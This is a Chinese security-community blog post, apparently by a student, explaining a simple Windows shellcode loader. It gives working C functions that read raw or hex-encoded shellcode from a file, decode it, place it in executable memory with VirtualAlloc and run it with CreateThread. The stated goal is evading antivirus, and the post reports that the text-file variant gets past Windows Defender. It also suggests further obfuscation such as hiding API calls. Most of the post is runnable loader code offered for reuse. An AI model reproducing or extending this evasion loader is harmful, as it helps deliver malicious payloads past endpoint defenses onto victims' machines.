「星球投稿」Simple-Shellcode-Loader学习

简介: 「星球投稿」Simple-Shellcode-Loader学习

此篇为投稿文章,为知识星球内一位刚上大学的小伙子@Muxue投稿(国庆假期小伙子们的学习劲头值得表扬)

在我指导下协助其解决了一些问题后,让他记录了一篇文章,潦草了些,但是我觉得也能帮助下基础薄弱的同学,所以将这篇记录发出来。

最后再表扬下@Muxue同学

为了保留小伙子的原汁原味,下面是原文我未作改动,并保留了一些奇奇怪怪的语气词。

前言

   之前的东西,加了个功能又学到了新东西,练下代码;这一篇都非常简单!!!这垃圾代码再改改,硬编码下字符串、隐藏下WinAPI等,肯定效果很更好点。

开冲

就是简单的三部曲

  1. 申请内存
  2. 写入内存
  3. 然后加载
VirtualAlloc() or VirtualAllocEx();
CopyMemory() or WriteMemory();
CreateThread() or (*(void (*)()) shellcode)();

还有很多类似的这种...

ExecBin

这个就比较简单了

  1. 从文件中读取
  2. 然后拷贝进内存
  3. 创建线程加载
void ExecBin(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 CopyMemory(xue_buf, buf, sizeof(buf));
 hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)xue_buf, NULL, NULL, &dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
 VirtualFree(xue_buf, 0, MEM_RELEASE);
  CloseHandle(MyFile);
 CloseHandle(hThread);
}

   通过ReadFIle读取二进制文件,放入到一个变量中,最后把这个变量CopyMemory拷贝进一块内存中, 最后加载执行。

ExecTxt

   像那种原始的shellcode payload,直接整进内存再加载,极为方便所以一些AV看的就比较严了。我就在想原来看人家通过txt加载(正常文本反正不会杀吧),所以有了这个函数。这里和上面其实差不了太多,核心的功能其实就是 读取Hex字符串转换为Shellcode

借鉴于这个项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector

   想要弄明白就调试一下,我直接用的@idiotc4t师傅的demo来做测试了

for(unsigned int i = 0; i< iterations-1; i++) {
 sscanf(shellcode+2*i, "%2X", &char_in_hex); // sscanf格式化输出,%2x以
 十六进制输出保留两位(应该就是取两位),然后传入char_in_hex里
 shellcode[i] = (char)char_in_hex;
}

首先看没有转换的


   可以从内存窗口看出就是单纯的字符串,要是拷贝进内存中,拷贝进去的不是shellcode而是这些字符 串!这是踩了个坑 基础太差

然后接着跟进

可以看出来就是根据字符串转为对应的16进制的数据然后重新写入shellcode里

然后我们再看第二组

   调试出为72 对应的ASCII也就是H,然后拷贝进内存就是对应的48了(ASCII的H转换为十六进制也就是48) 所以这样一个个走下去,一组转换为int类型,然后int类型转换为对应的十六进制,最后就放到对应的 shellcode[i]里

1. i=0,shellcode+2*0,但是取2位就是第一组(1 2) 字符串里的FC -> 252 -> 在内存里就
是FC
2. i=1,shellcode+2*1,就是取2+2也就是第二组(3 4) 字符串里的48 -> 72 -> 在字符里就
是H -> 在内存里就是48
3. i=2,shellcode+2*2,就是取2+4也就是第三组(5 6) 字符串里的83 -> 131 -> 在内存里就
是83
// 但是别忘了我们字符串里的也是16进制的
....

只是找到对应的了,假如shellcode字符串里的是48(hex)就转换为ascii 10进制的72,在字符串中 显示的就是H,但是在内存中显示的就是48(hex)了; 这样以此类推下去 每个取2位然后进行转换,我是这样理解的 有不对的请师傅们指出

   这里放出来转换前和转换后的俩图,大家一看就明白了

   注意看内存窗口 就是单纯的字符串,我们所需的shellcode也没有在内存中,你加载执行的只是这 些字符串并不是所需的shellcode

我们在比对下转换后的

这样shellcode就正常在内存中了

#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
 char shellcode[] = "";
 unsigned int char_in_hex; // 临时变量
 unsigned int iterations = strlen(shellcode); // 整体shellcode的长度
 unsigned int memory_allocation = strlen(shellcode) / 2 ; // 因为在内存中俩个为1byte吗 除2 
  DWORD temp;
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char *xue_buf = (char*)VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
  shellcode[i] = (char)char_in_hex;
 }
 CopyMemory(xue_buf, shellcode, memory_allocation);
 return 0;
}

这样一搞明白ExecTxt这个函数的原理就很简单了

void ExecTxt(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 unsigned int char_in_hex;
  HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 unsigned int iterations = strlen(buf);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
  buf[i] = (char)char_in_hex;
  }
 CopyMemory(xue_buf, buf, sizeof(buf));
 // printf(xue_buf);
 hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)xue_buf,NULL,NULL,&dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE);
 VirtualFree(xue_buf, 0, MEM_RELEASE);
 CloseHandle(MyFile);
 CloseHandle(hThread);
}

   就是把\x or 0x删除(这个功能我没写 我直接从就删除了然后到txt里),申请块内存,通过ReadFIle读取进 来,然后把对应的字符串的16进制数据重新写入xue_buf里,最后ZeroMemory拷贝进内存, CreateThread加载。

测试

最后测下免杀性了

Windows Defender

我擦 可以

   起初我还不大敢相信 又放在downloads下 测试了一遍确实可以,加载bin就不出意外的杀了

火绒

360

以上就是投稿文章的全部内容。

相关文章
BUUCTF--misc--大白1
BUUCTF--misc--大白1
|
6月前
|
安全 前端开发 PHP
Upload-labs 通关解析(上)
Upload-labs 靶场通关解析(上)
|
6月前
|
数据采集 JSON 数据格式
2024年最新【python基础教程】常用内置模块(1),2024年最新头条测试面试
2024年最新【python基础教程】常用内置模块(1),2024年最新头条测试面试
|
6月前
|
Dubbo Java 中间件
探寻源码宝藏:介绍开源项目"source-code-hunter"
最近处于金三银四的面试黄金期,许多同学在面试中反映现在要求非常高,阅读源码几乎是必问项。然而,阅读源码时常常觉得晦涩难懂,令人头疼。今天在浏览 GitHub 时,我发现了一个名为 source-code-hunter 的宝藏项目。这个项目从源码层面深入剖析和挖掘互联网行业主流技术的底层实现原理,为广大开发者提供了便利,助其提升技术深度。目前该项目已经涵盖了 Spring 全家桶、Mybatis、Netty、Dubbo 框架,以及 Redis、Tomcat 等中间件的内容,恰好适合最近正在面试或希望提升技术深度的同学参考学习。
771 1
探寻源码宝藏:介绍开源项目"source-code-hunter"
|
6月前
|
数据采集 数据安全/隐私保护 iOS开发
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
本文旨在介绍如何在Objective-C中使用MWFeedParser库下载豆瓣RSS内容,同时展示如何通过爬虫代理IP技术和多线程提高爬虫的效率和安全性。
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
|
存储 编译器 API
[√]vld源码共读
[√]vld源码共读
58 0
|
存储 Java 编译器
与Go的初次见面 | 青训营笔记
与Go的初次见面 | 青训营笔记
73 0
|
JavaScript 安全 前端开发
upload-labs通关笔记
upload-labs通关笔记
201 0
|
网络协议 编译器 程序员
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
185 0
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
【愚公系列】2021年11月 攻防世界-进阶题-MISC-042(小小的PDF)
【愚公系列】2021年11月 攻防世界-进阶题-MISC-042(小小的PDF)
151 0
【愚公系列】2021年11月 攻防世界-进阶题-MISC-042(小小的PDF)